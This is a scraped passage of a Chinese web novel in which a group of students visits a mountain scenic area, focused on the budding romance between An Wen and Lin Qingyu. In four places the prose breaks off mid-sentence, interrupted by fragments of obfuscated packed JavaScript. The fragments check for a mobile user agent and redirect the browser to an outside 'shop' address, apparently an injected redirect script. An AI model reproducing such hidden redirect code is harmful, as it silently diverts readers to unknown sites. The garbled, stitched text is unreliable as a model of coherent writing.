“啊?”安闻一愣,以为林清宇不同意,自己都答应了,要是林清宇不同意,这面子可就丢大了,他没法跟大家交代。 想到这里,安闻忙按住里面的人,这一按就按在林清宇的胸膛口,把人按在了墙上,不依不饶道,“你还没说行不行呢?” “你先让开。” 安闻不动。 林清宇嗓子暗哑,无奈道,“行,都行。你说了算。”说完,推开安闻,猫着腰顺着后门跑了。 “拉肚子了?跑那么快干嘛。”安闻看着林清宇的背影嘟囔着,转身却对上了齐笛的视线。齐笛侧着身子看向这边,眼底夹杂着一丝打量,意味深长。 安闻没有多想,只觉齐笛是关心补习的事,他挤了个大大的笑脸,露出一排洁白的牙,比了个搞定的手势,得意洋洋。
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|12915616|135917||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 切都看在了眼里,他很清楚安闻看到了那句话,但是安闻什么都没问。 希望的火苗燃起,他坐在安闻旁边,“你没什么要问我的吗?” 安闻微微挪动身体,与林清宇拉开了一点距离,“没......没有,等叶笑笑回复就好了。” “叮~” 林清宇手机响起,安闻站起来,用手掌搓了两下裤线,“我要写作业了。出去玩之前先把作业写完。” “你不看叶笑笑回了什么嘛?”林清宇递出手机。 “不......不了,你告诉我结果就好了。我随意,去哪儿你定下来通知我。” 林清宇看着安闻鸵鸟似的,把头埋在作业里,解锁手机看消息。 叶笑笑:[天呐!你们在一起了?!!!你真的是安闻吗?] 林清宇抬头看了一眼安闻,发现他头埋得更低,阳光透过他的耳朵,漫出鲜艳欲滴的红色。林清宇低头回复消息。 青雨:[我是林清宇,没有在一起。] 青雨:[不过,我现在准备开始追他了。] 安闻听着林清宇的手机叮叮叮得一直响,手指敲击屏幕打字的声音断断续续。他终于忍不住转过头,“你在和谁发消息?” 意识到自己问了一句不该问的话,他又改口,“不是,你们定了去哪里?” “去太连山。” 太连山在隔壁省,距离Q市高铁需要三小时,现在暑期限流,林清宇在网上查了一下,门票已经买不到最近10天的了。 回家跟林勇平一说,巧了。景区里面有个“万年冰洞”,做开发地勘的时候,发现在距离冰洞不足200米的地方,有一处“千年地火”,专家评估是埋藏于地下的煤层自燃,当时请了林勇平做技术指导。 于是,林清宇求林勇平帮忙,给他们联系了景区老板,拿到六张门票。 风景区挺大的,而且还有冰洞,需要带羽绒服,每个人都提了一个行李箱。六人早上在高铁站集合。 林清宇和安闻最先到了高铁站,随后而来的是罗晴。表白事件之后,发生了很多事,安闻也没有时间单独跟罗晴谈一谈,看见罗晴下车朝他们走过来,尴尬劲儿后知后觉地涌上来。 林清宇把手放在安闻后背上,抚了一下才伸手打招呼。 安闻发扬绅士风格,从口袋里伸出手,接过罗晴的行李箱,嗓音沾着困意的黏糊,“罗晴,吃早饭了吗?” 罗晴还是一如既往的爽朗,她先跟林清宇打了招呼,然后抱怨道,“别提了,我妈说我天天傻学习,生怕我误了车不出去玩了。饭也不让吃,就把我送到高铁站来了。” 林清宇看一眼手表,提议去那边麦当劳吃早饭,还能顺便给其他三人带一份。 卢远和叶笑笑自知赶不上早饭,和大家约定直接候车室见。 梁米姗姗来迟,也顾不上堂食,直接打包带去候车室。 进站的时候,梁米故意落后几步,拉着林清宇问,“鲜花蛋糕都订好了吗?” 63.分房 林清宇用右手肘拐了一下梁米,“荒郊野岭的哪有订的地方?” “那你准备什么了?”梁米瞄着安闻的后脑勺,捂着嘴问。 “吃喝玩乐一条龙我都安排了,我还准备什么啊?”林清宇跟在后面跟梁米悄悄咬耳朵,被梁米拐带得也鬼鬼祟祟的,安检员都多看了他们好几眼。 “表白啊表白的准备。”梁米气得直跺脚,“真是皇帝不急太监急。” “我什么时候说要表白了?”林清宇反问。 “你不表白把我揪来干什么?我以为你准备好了。”梁米恨铁不成钢得锤了一下林清宇。 安闻刚把行李箱从安检机上拿下来,就听见后面梁米说话的声音,他回头催促,“你俩快点跟上大部队,上了车再说。” “哦。”林清宇放上自己的行李箱往安闻身边跑过去,留下梁米自己拿着个行李箱,嘟囔着“重色轻友。” “你俩嘀嘀咕咕说什么呢?准备什么?”安闻帮林清宇把行李箱拿下来,两人并肩往里走。 “梁米问我准备好爬山的东西没有?”林清宇笑着跟安闻解释。 卢远一步不离地跟在罗晴和叶笑笑后面,此时终于得空听了一耳朵,他突然插过来,大嗓门在安闻耳朵边炸开,“报告,准备好了!” 安闻正认真跟林清宇说话,被突然的大嗓门吓得一激灵,他推了卢远一把,“你准备什么了就准备好了?” “准备好了吗?时刻准备着,我们都是共///产儿童团......”卢远明显是上学时候憋疯了,从进了候车室就开始兴奋,洋相百出,安闻笑得早饭都消化完了。 卢远兴奋是有原因的:出来玩,开心;跟罗晴出来玩,超级开心;跟罗晴出来玩完回去还能跟罗晴一个班,就是踺子后手翻转体180度直体前空翻转体900度加刘璇单臂大回环接京格尔的超级加倍开心。 “不就是考了个16嘛,跟6结下不解之缘,至于这么开心?”叶笑笑在旁边扶着腰笑,间隙里还不忘嘲讽两句。 “那你就不懂了,这可是我废寝忘食披星戴月不舍昼夜奋斗出来的结果。”卢远还没嘚瑟完,就被梁米一行李箱压在脚上。 他把手作刀状架在卢远脖子上,威胁道,“别显摆你那成绩了,我酸,我嫉妒,我红眼病,小心我晚上睡觉的时候暗/杀你。” 这次期末考,林清宇稳定发挥,年级第一,又落下罗晴12分。卢远显著进步,以第十六名的成绩进入了小班。安闻超常发挥,踩着小班的尾巴,第二十名也进去了。 经历这么多事,梁米成绩没有退步,反而进步了两名,第三十六名留在了(1)班,补课小组成员只剩下姚雨桐陪着梁米在(1)班。剩下的人,除了叶笑笑在11班,其他人都冲进小班了。 “嘿!”卢远突然反应过来,吐着个舌头跟梁米犟嘴,“我暗/杀的着我吗?我又不跟你睡,我就说就说,你管不着。” 梁米按住他的肩膀,拍了两下,指着旁边的两位女生说,“老六,你问问这两位美女,谁愿意晚上跟你一个房间?” 卢远看了一下罗晴,又看了一眼叶笑笑,答案很明显,但不好意思说出口。罗晴在旁边吃瓜,吃到了自己身上,她还没来得及出手,叶笑笑就伸出手拽住卢远的耳朵,咬牙道,“你还真敢想啊,流氓?” 卢远忙伸手讨饶,慢半拍地大吼,“我什么都没说啊,我晚上跟安小闻睡,跟我兄弟睡。” 谁知这句话说完,耳朵上的手非但没松,反而更重地拧了一圈,然后叶笑笑在他耳朵边愤愤说道,“你是一点儿眼力见儿都没有啊。” 梁米像捧哏一样附和,“就是,眼珠子留着也没啥用,晚上睡觉我就给他抠咯。” 罗晴如堕烟海,看着后边隔岸观火的两个人,感觉不对劲。她站出来提醒大家,该检票了。 检票时候又往后看了一眼。四个男生都是又高又瘦,长相非常显眼,人群中一看就卓尔不群。但只有林清宇和安闻两个人,自带结界,一看就知道他俩是一起的,旁人无论如何都插不进去。 下了高铁,景区老板安排了司机和导游来接,林清宇提前收到了车牌号,带着大家去找车。 他们六个人加上司机和导游,一共八个人。于是几个人专往小巴车上盯,东出站口,黑色,车牌99999. “我靠!”卢远眼神好,他窜过来,激动地拍着林清宇后背,“学霸,不会是那辆吧?” 几个人顺着卢远的视线看过去,一辆锃亮漆黑的大奔停在路边。 安闻眯着眼睛确认了一下车牌号,小声对林清宇说,“林叔叔面子好大,现在九座威霆可不常见啊。” 梁米在旁边不明所以,“这个车不是奔驰吗?为什么叫威霆啊?” 卢远拽着梁米给他科普汽车知识,这时站在车边的人也看到了他们,六个拎着行李箱的学生,还挺明显的。 那人伸手招呼,“是去太连山的游客吗?” 林清宇伸手打了个招呼,那人自我介绍道,“我是李总安排的导游,你们叫我小张就行。市里来了领导检查,李总走不开,让我来接你们。” 大家一次跟导游问了好,小张看起来挺年轻的,但大家也不好意思喊小张,就纷纷叫人张哥。 “远远的我就看见你们了。出门时候我还担心,暑假学生多,不太好找你们。李总吩咐说,四个大帅哥加两个小美女,一出站就能看见,特别显眼。” 九座威霆几乎没有后备箱,张哥帮他们把行李箱放到了旁边的小面包车上,还不忘回头一直夸赞,“李总果然说得对,我一眼就看见你们了。” 几个人被夸得有点不好意思,张罗着快点上车,罗晴和叶笑笑笑称自己腿短,把前面宽敞的空间留给了四个男生,自己和叶笑笑钻到了后排。 梁米趴在安闻耳朵边,随口感慨,“我都没见过九个座的大奔。” 导游坐在副驾驶上,给他们一人发了一本景区手册。“一会儿到了景区,先带大家吃饭。” 刚才在高铁上,安闻说还没吃过高铁餐,几人在车上吃了盒饭,大家都不饿,林清宇笑着推辞,“张哥,就不麻烦李叔了。我们去酒店把行李放下,收拾收拾就去景点吧。这三天可是要麻烦你了。” 导游也是听了领导的吩 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|12930817|135917||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 咐,这几个学生是老板朋友家的孩子,一定要照顾好。一直都很热情地给他们介绍。 卢远兴奋了一路过来,这会儿有些没精神了。 安闻和林清宇安静地看着窗外,后面的两个女生叽叽喳喳的咬耳朵。梁米车上睡了一会儿,这回正精神着,他探着脑袋问张哥,“张哥,咱们这边是不是有个情人谷?” 车上的人闻言都转过来看着梁米,张哥还没来得及张口,后面的两个姑娘就兴奋地叫唤了起来。 “是啊是啊,这个手册上说了,情人谷许愿很灵的。梁米,你来过这边吗?怎么知道有个情人谷?” 梁米一歪头,“我也有景区手册的好嘛!” 安闻看着梁米手里从未翻开的手册,把头转向了窗外。 张哥接着介绍,“咱们这个风景区啊,里面开发很完善。就是景点比较分散,咱们大概一天只能玩两三个景点。情人谷距离比较远,今天过去来不及了。下午建议你们去走古栈道。” 反正要玩三天,所有景点都能玩到。罗晴也不急在这一时,大家就一致同意,全权交给专业的人来安排行程。 到了酒店,张哥先给他们办理入住,递房卡的时候语气十分抱歉,“旅游旺季,实在没房了。李总开了权限,也只能腾出来三个套间。” 林清宇看着手里的三张房卡,本来他们也是找关系才能进了景区,如果自己来的话恐怕连空房都找不到。 他颔首感谢,“没关系,张哥,已经很麻烦您和李总了。我们六个人,三个套房足够了。” 卢远凑过来,从林清宇手里接过一张房卡,大量半天才感慨道,“跟着学霸还能住到套房,真是受宠若惊啊。” 林清宇手里还剩两张房卡,两个女生自然是一间房,他挑了一个中间的房号,把房卡给叶笑笑递过去,然后很自然地抓住安闻的手腕往电梯走。 “不是,怎么个意思?”卢远坐着行李箱滑过来,“你俩就默认睡一张床了?” “不然呢?”林清宇疑惑。 “我说了我跟安闻睡呀,我在安闻家都是跟安闻睡的。”卢远在后面嘀咕,“再说我也没跟梁米睡过,谁知道他打不打呼噜。” 卢远上去拽安闻的胳膊,“不行不行,我得跟我兄弟睡。” 安闻挣脱开林清宇的手,目光看向落在后边的梁米,“梁米,你打呼噜吗?” “啊?我不打呼噜,睡觉可老实了。”梁米回答。 “那行,我跟你睡吧。”说完,梁米从卢远手里拿走房卡,揽着梁米肩膀,“走,咱俩一间,3610。” 梁米睁大眼睛,看向林清宇,意外地有些语无伦次,“不......不行,那个......我说了晚上要拧掉卢远的头,我得说话算话。” 卢远抓紧安闻衣角,惺惺作态,“你听听,他说的是人话吗?我可不跟他睡,咱俩一间,必须咱俩一间。” 林清宇把安闻扯过来,不太友善地看向卢远,“你跟梁米一间房。” 站在旁边看了半天戏的罗晴终于开口,“就按林清宇说的吧,跟谁睡都一样,大家快回房收拾,早点出去玩。” 64.游玩 卢远本还想垂死挣扎一下,女神发话,只好作罢。 于是房间最后还是按照林清宇的安排,卢远梁米住3606,两个女生住在中间3608,林清宇安闻住在3610。 拿到房卡,几人上楼放了东西,安闻有些不情愿,林清宇问的时候,又说不出为什么不情愿,只要找借口说,“会开车就好了,咱们可以自己开车出去玩。不会开车就只能找导游找司机,麻烦别人。” 林清宇笑着安慰他,“再有大半年我就满18岁了,那时候我就去考驾照,然后开车带你出去玩。” “指望你还不如指望我自己。”安闻得意地用大拇指指了指自己,“我还有一个月就18岁了。我肯定比你早拿驾照,到时候哥哥我开车带你出去玩。” 林清宇这次竟然没跟他争,他刷卡推开门,把两人的行李箱推进去,安闻跟着进了房间。 然后房门一关上,林清宇就一抬手把安闻抵在了墙角。他一只手撑在安闻脑袋边,另一只手按在行李箱边上,两人离得很近,安闻能感觉到他身上散发出来的热气。 林清宇用极具蛊惑的声音,在安闻耳畔轻声说,“哥哥,那你加油。我等你带我出去玩。” 说完这句话,林清宇收回了手,把房卡插上,推着行李箱往屋里走。 房间的灯一下亮了。安闻有些措手不及,他转过身去找灯的开关,只为了掩盖自己透血的耳尖,嘴里还欲盖弥彰的嘟囔,“大白天,开什么灯,费电。” 几人放下行李箱,换上防滑鞋,戴了防晒帽,每个人都背上一个小运动包,里面放着必备用品。 到楼下集合的时候,张哥给他们一人一副防滑手套,他们把手套收进背包里。 卢远以前也走过景区的玻璃栈道什么的,觉得导游有些过于呵护他们。 但是当他们爬上了悬崖栈道的开端,才知道,张哥这不是呵护他们,是在保护他们。 这悬崖栈道,也太破了,连个安全绳都没有,一脚踩空就不用去看悬棺了,直接睡悬棺吧。 安闻向来很喜欢刺激的项目,看见这个栈道就觉得肾上腺素直往脑子上窜。 他回头问问罗晴和叶笑笑,“你们可以吗?” 罗晴是没在怕的,但叶笑笑好像有些害怕,看着崖底嘴唇发白。 张哥作为导游很有经验了,他笑着给大家打气,“你们放心吧,这个栈道看着惊险,但其实挺安全的,只要不是故意寻/死,就死不了。” 安闻心想,张哥这话说了还不如不说。他接着话茬直接安排,“这样,栈道太窄不能并行,你们两个走中间,两个男生殿后,张哥带路。” 安闻很大胆地走在了张哥身后,林清宇跟在安闻身后,然后是两个女生,叶笑笑要在罗晴后面,被安闻拉到了林清宇后面,卢远自然是要挨着罗晴,梁米识趣地殿后。 这个悬崖栈道原长有42华里,建造年代可以追溯至唐贞元年间,后来因为栈道连接着一座座悬空古刹,后来的历朝历代都有修葺。而且这条栈道是我国罕见的水平联洞型栈道,惊险绝伦。不过现在可供游客行走的也就只剩不到三公里了。 几人颤颤巍巍地走过了第一段栈道,来到了悬崖栈道上的第一处古寺,下了栈道,站在寺门口的平台上,安闻后背的衣服已经被汗洇透了,他回头看后面的的人,基本都是头发湿透贴在头皮上。 叶笑笑脸色煞白,在落地的时候长叹了一口气,安闻第一次听她说脏话,“这也太踏马刺激了,真爽。” 身后的建筑,说是古寺,其实是个罗汉殿,依山而建,巧妙利用了后面的天然石洞,建造了进深将近10米的罗汉殿。 几人重整旗鼓,沿着栈道胆战心惊地转过一处险地,又钻过一处石洞,眼前的景色豁然开朗,跟刚才的罗汉殿一样,又是一处利用石洞建造的坐北朝南的大殿。 此时安闻的防滑手套已经湿透了,他把手套脱下来,太湿了,戴着难受。几个人坐在大殿前的台阶处休息,安闻站起来,来到石台边缘,护栏外就是百米深的悬崖。 他扶住护栏,探身向前,想看看崖底的风景,突然被一只胳膊环住腰间拖了回来。 他转头一看,林清宇的脸近在眼前。他推搡开林清宇,警惕道,“你干嘛?” 林清宇神情严肃又认真,“不知道护栏安不安全,就不要靠。” 张哥一直关注着这边的动静,他跑过来打圆场说,“这个你放心哈,悬崖边的护栏都是景区新建的,每天都有人巡视保养。” 林清宇语气冷冷地道谢,抓过安闻的手腕,又收紧了一些,“谢谢张哥提醒,不过还是不要把自己的命托付在别人手上的好。” 安闻抬头看着林清宇,他嘴角抿成一条直线,神情冷冽。后知后觉,是不是自己刚才的行为吓到他了? 他另一只手附上林清宇的手背,“抱歉,我下次一定注意。” 刚才安闻还想手套太湿了,就不戴了。现在他转变了主意,乖乖戴上手套,往栈道深处行进。 终于走出栈道,六个人,不到三公里,走了将近两个小时。 刚才在栈道上,众人一直胆战心惊,旁边的美景虽好,也不敢太过留恋。现在下了栈道,大家恍然发现,已经进入了深山。 大家现在身处一片极为寂静的山谷,走过一段山湾,有一个幽僻的巷弯,入口石壁如门,转过石壁,林木葱翠。 在大家还没发觉之前,张哥开口,“大家先不要到处看,这里就是悬棺所在之处了。” 张哥的本意怕他们突然看到悬棺收到惊吓,没想到这句话反而提醒了大家左顾右盼。 突然两个女生发出一声尖叫,几人沿着她们的视线往上看,众人头顶几米处就有一处悬棺。 张哥介绍,这一处古建专家认为是风水宝地,而且这片悬棺是迄今为止长江以北发现最早的崖葬群。 卢远和梁米把两位女生夹在中间,安闻抬头看去,这崖上的悬棺并非危岩高耸,最高的看上去也就有20多米的样子,但石棺上下都很光滑,壁顶覆盖着绿树灌丛。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|12942798|135917||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >那些悬棺是木质的,又嵌在岩洞里面的,也有露在石壁外面的。有用木桩支撑的,也有用铁链吊捆的。有一棺独悬的,也有双棺并列的。 山谷里的天光有些暗,安闻抬着头看得入神。林清宇的声音把他的神思拉了回来,“你在害怕吗?” “没......没有。”他低下头回答。 “你有。”林清宇非常了解安闻,他没给安闻找理由的机会,“如果你不是害怕,你一定会说"林清宇,你在说什么屁话,我怎么可能害怕?!",但你刚才那个"没有"说得好牵强。” 安闻愕然,林清宇学自己学得有模有样,他的心中又甜又酸。 他抬头再次看向悬棺,坦白道,“我刚刚只有一点点害怕,不是怕这些悬棺,是怕死。” 林清宇有些诧异,他也抬头看了看崖上的悬棺,眼神清浅,“如果死后能葬在这个清净的地方,而且像那两幅棺木的主人一样,死后有一个人在旁边陪着自己,好像死也没什么可怕的。” 山里气温低,太阳才刚刚要下山,就感觉到冷风拂面了。 不皮就会死的卢远,用打着颤的声音说,“你们有没有感觉到非常阴森?”获得了罗晴和叶笑笑的一顿爆锤。 天色将暗,悬棺处不能久留,几人互相扶着下了山。导游联系了司机,在悬棺景点出口处等着。 回了酒店,导游说得没错,这个景区真大,他们从悬棺出来,回酒店都已经6点多了。 景区老板李总过来打了个招呼,林清宇跟李总寒暄了几句林勇平的近况,李总怕他们几个学生不自在,就没留下一起吃饭。 几天早上起来得早,又疯玩了一天,几个人都累了。吃饭时候也兴致缺缺,没聊几句,吃了饭就各自回房间收拾。 顶楼都是套间,但景区的套间跟商务酒店的套间不一样,只有一个卫生间,一个客厅,和一个卧室。 中午时候,安闻和林清宇都没有进卧室,在客厅匆匆拿了东西就走了。 现在天黑透了。卧室没有主灯,只有四周昏暗的射灯。这个卧室现在怎么看怎么暧昧, 安闻嘴里含着刚才林清宇给的奶糖,得亏卧室昏暗,不至于暴露自己红透了的脸。 他把行李箱拖进卧室,从里面拿出睡衣,大声问坐在客厅回消息的林清宇,“你要先洗澡吗?” 林清宇放下手机,在客厅直接打开行李箱,“我先洗吧,一会儿得给我妈发视频汇报行程。” 然后就拿着手机先走进卫生间,浴室里一个超大浴缸差点晃瞎了林清宇的眼睛。 他没理会那个浴缸,站在浴缸里用花洒冲了个澡。 澡也洗完了,才发现,刚才自己光顾着回消息,忘记了拿内裤和睡衣。 在浴室环视一周,更加绝望地发现,浴室里没有放浴巾或者浴衣,可他的衣服刚才搭在浴缸边,已经湿哒哒得不能穿了。 林清宇给自己做了半天的心理建设,终于鼓足勇气,向外面求助。 “安闻,你能进来一下吗?” 65.同床 林清宇喊了一声,没有得到回应。他蹑手蹑脚地走到卫生间门边,拉开门,又喊了一次。 确认安闻不在房间里。 门铃响起的时候,林清宇已经穿好内裤和睡衣,吹干头发躺在床上玩手机了。 安闻出去的时候忘记拿房卡,担心林清宇在浴室听不见,在卢远房间等了半小时才回来。 “你干什么去了?”林清宇问。 “我想上厕所,你半天不出来,我就去卢远房间借用一下卫生间,然后又忘记带手机,就等了一会儿再回来。”安闻跟林清宇解释原因,但是语气有点像犯错的孩子。 林清宇疑惑,“想上厕所,你敲门进来就行了,我又没锁门。” “没......不太方便......”林清宇也不知道安闻怎么是这样的神情,他回到床上继续玩手机,“我洗完了,你去洗吧。对了,浴巾和浴袍在门口的衣柜里。” 安闻抱着衣服进了浴室,林清宇瞄了一眼浴室门,将叶笑笑发给自己的照片全部保存。 叶笑笑拍到了在栈道上,大殿前面,林清宇搂着安闻腰的那个瞬间。 照片背光,只能看到两个男生,一个人在另一个人的左后方,搂着前面那个男生的腰,前面的男生明明是在挣扎,照片上却看不出力度。 乍一看上去,像泰坦尼克号里的经典动作。 林清宇的手摩挲着这张照片,大胆地把这张照片设置成了跟安闻的聊天记录壁纸。 只有自己和安闻聊天的时候能看见。 安闻出来,用毛巾擦着湿头发进了卧室,“你刚才洗澡的时候,不觉得水有点凉吗?” 林清宇抬眼,正撞上一滴水顺着安闻的鬓角流过腮边,流到锁骨,钻进安闻天蓝色的棉麻睡衣,在衣领处留下一滴水迹。 他喉结滑动,做了一个吞咽动作,“你怎么不吹头发?” 安闻有些羞赧,不好意思地说,“我没住过这么高档的酒店,没找到吹风机。” 林清宇立刻下床,拉着安闻的手腕来到玄关镜子边,他拉开镜子后的柜子,拿出吹风机,帮安闻插上电,“这里是风力,这里是温度,酒店的吹风机需要一直按着。”林清宇的手拉着安闻的手,把安闻的手贴在吹风机的按钮上,“这要一直按着,手一离开,风就停了。” 他看着安闻好像在出神,脸蛋红扑扑的,周身的空气又热又潮,林清宇捏捏安闻的耳垂,“听懂了没有?” 林清宇的手指好像长了刺,安闻一下回神,慌乱避开,“懂了。” 安闻吹干头发,在沙发上做了一会儿。魂不守舍地进房间,上了床。 林清宇已经躺下了,安闻绕到床的另一边,也上了床躺下。 那边的人等安闻躺下后,关了灯,同时,也按关了手机屏幕。 酒店的窗帘很遮光,屋子里漆黑一片,安闻突然很紧张,他攥紧了被子,想把自己严严实实地裹紧。 可酒店大床房只有一条被子,林清宇在另一边,他不敢动。 两个人,像从前同床的每一个夜晚一样,各守一边,中间隔着一条很宽的界限。 可是又跟从前的每一次同床都不一样,安闻的心境变了,这张床就哪儿哪儿都不舒服。 安闻一直撑着没闭眼,他等林清宇说些什么,因为他有预感,林清宇会说些什么。 等了很久,安闻好像听到了身边人均匀的呼吸声。 他试探地叫了声,“林清宇,你睡了吗?” 没有得到回应。 安闻放下心来,伴着林清宇的呼吸声,也睡着了。 第二天,安闻睁开眼睛,床边是空的,用手摸了一下,床铺是凉的。 安闻倒回床上,等着自己的身体清醒,等着自己的兄弟睡下。 林清宇擦着头发进了卧室,“醒了?”他把窗帘拉开,早上的阳光很刺眼,安闻用手挡了一下眼睛。 “你怎么大早上就洗澡啊?”安闻刚刚睡醒,声音里带着一丝慵懒,还有点黏糊。 林清宇愣了一下,转身出去,“洗个澡清醒点。你也赶快起来,咱们今天要去马伦草原骑马,去晚了就没有好马了。” 安闻一听今天骑马,一个鲤鱼打挺蹿下床,他没有骑过马,电视里看人家骑马穿着马术服,像骑士一样,特别潇洒。 “可是我没有马术服怎么办啊?这里能买到吗?”安闻在客厅转圈。 林清宇擦干头发,把毛巾扔在茶几上,去翻自己的行李箱。 安闻双眼放光,不可思议地惊喜道,“你给我准备了马术服?” “没有。”林清宇转过头,举起手里的东西,“只有这个。” 安闻看着林清宇手里的护膝护肘,眼里有些失望,“什么啊!一点儿都不帅气!” 马伦草原是在太连山山头上的一大片草原,这里牧草肥沃,是历代帝王牧养战马的地方。 草原东西两侧隐约可见当年北齐修建的长城,站在山顶一片好风光。 安闻洗漱完原本准备穿一套短袖短裤,被林清宇强迫换成了长袖长裤,“草原上草深,有很多虫子,驱蚊药不太起效,不想肿成200斤的大胖子,就换衣服去。” 在餐厅见到另外四个人的时候,他们都是长袖长裤,看来林清宇提前告诉过他们了。 但是林清宇早上骗了安闻,张哥早上打电话,在草原上给他们预留了六匹温顺的好马,不过暑假人多,教练人手不够,只给他们留了两位教练。 张哥是本地人,会骑马。今天上午就是在草原滑草骑马,林清宇就没有麻烦他,让他在游客中心休息。 好在林清宇和卢远都骑过马,安闻想把教练留给两位女生,教练帮忙牵着马,还能安全些。但是卢远不同意,他不放心把罗晴教给教练,偏要自己教,罗晴这次竟然没有拒绝。 安闻不由得多看了罗晴几眼,这才发觉,罗晴眼睛有点红。 在卢远的坚持下,变成了卢远罗晴一组,叶笑笑和梁米分别带一个教练,林清宇和安闻一组。 开始的时候,林清宇把安闻扶上马,自己在下面牵着马,一边遛达一边教安闻骑马的要领。 安闻自觉学得挺好,但每次林清宇一松开缰绳,他就有些害怕,俯下身子抱紧马背,马就止步不前。 反复几次之后,梁米和叶笑笑已经把安闻落下很远一段距离。 安闻回头,罗晴和卢远也是一样的方法,卢远牵马,罗晴的马跟在后面慢慢走,看上去画面非常和谐,甚至有些般配。特别是两人一上一下,相视而笑的时候,画面突然有点甜。 他转回头,低头看去林清宇。林清宇也在看后面的两个人,发觉安闻的目光,林清宇转回来,也是同样的相视一笑。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|12978009|135917||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 安闻心突然有点慌,他夹了一下腿。马向前颠了几步,幸亏林清宇拽着,又停了下来。 身边一阵风跑过,还夹杂着卢远欠扁的声音,“你俩慢死了。什么时候才能到母河源头?” 卢远把自己的马丢下,跟罗晴共乘一匹马跑了。 安闻看着他们驰骋的方向,皱了皱眉,他承认,卢远激发了他的胜负心。 “你想追上他们吗?”林清宇又一次看穿了安闻。 安闻不再扭捏,点点头,又有些迟疑,“这匹马能承受得住咱俩吗?” 说时迟那时快,林清宇一脚踩在马镫上,已经上了马。 身下的马晃了一下,安闻习惯性地俯身抱住马背。 这时一双手环了上来,把安闻往怀里抱一抱,安闻身体一僵,屁股碰到了林清宇的前面,他悄无声息地往前蹭了两下,肚子上那双手环得更紧,把他拽了回来,“别乱动。” 他动也不敢动,僵着身子问,“为什么我不能坐后边?” 林清宇在他耳畔笑了笑,呼吸全都扑进了他的脖子里,“下次骑自行车,让你坐后面。” 安闻不再说话,坐在马背上,坐在马前面,坐在林清宇怀抱里,感受着后背传来的温度,和那个胸膛的起伏。 他感觉自己的马不是在跑,是在飞,他有些眩晕,紧紧地靠住后面的胸膛。 “看这边。”他们的马超过叶笑笑时,叶笑笑喊了一句,按下拍照键。 林清宇见状又骑着马返回来了,“再拍一张。” 安闻不好意思地低下头,又忍不住抬头去找镜头,“把我拍好看点。” “放心吧。没有比你俩更好看的人了。”叶笑笑大喊,“安闻,你刚才笑得超甜。” 林清宇驾着马跑远,安闻无法回头去看照片,他失神地想,刚才自己笑了吗? 林清宇从小就会骑马,技术很娴熟,他们很快超过了卢远和罗晴。 超过去的时候,安闻兴奋地挑衅,“有本事来追我们啊。” 卢远气急败坏,奋起直追。奇怪地是,罗晴一句话都没说。 两人纵马率先跑到了母河源头,将马寄存在服务站,坐在草甸上等着大家。 看着草原一望无际,他不禁念叨出了声儿,“天苍苍,野茫茫,风吹草低见牛羊。” “语文课代表这么感慨吗?”安闻在看草原,林清宇在看安闻。 “这是我第一次看见这么大的草原,书本里的诗词突然有了画面。”安闻脸上绽着笑容,林清宇看呆了。 他站起来拍拍屁股上的草,伸出手,“走,带你去看飞流直下三千尺,疑似银河落九天。” 安闻仰着头,拉住林清宇的手,任他带自己往前跑。 两人跑到一处栏杆边,眼前的景色简直不可思议。 他们地处山巅,向下望去,山上汇聚溪流淙淙,散乱地沿着地势向下流淌,九股水流汇到一处悬崖,飞流直下,水面急速跌落。落到地上,变成缓缓流淌的小河。这就是滚滚奔腾的母河源头。 安闻的头脑一片空白,学的语文知识都忘光了。面对这样的景色,他哑口无言,只剩抒发不出的感慨。 汹涌奔腾的母河,养育了一省人民的母河,其源头竟然是个含羞春梅的小姑娘,安静澄澈,温婉妩媚。 “你俩这手拉够了没有?” 66.抓包 安闻被声音一惊,才想起来自己的手还被林清宇拉着,他慌忙甩开林清宇的手。 回头看着罗晴,挠了挠头,“景色太美,忘记了。” 罗晴往前走了几步,睨了一眼山下的风光,表示赞同,“确实挺美的。豁开青冥颠,泻出万丈泉。” 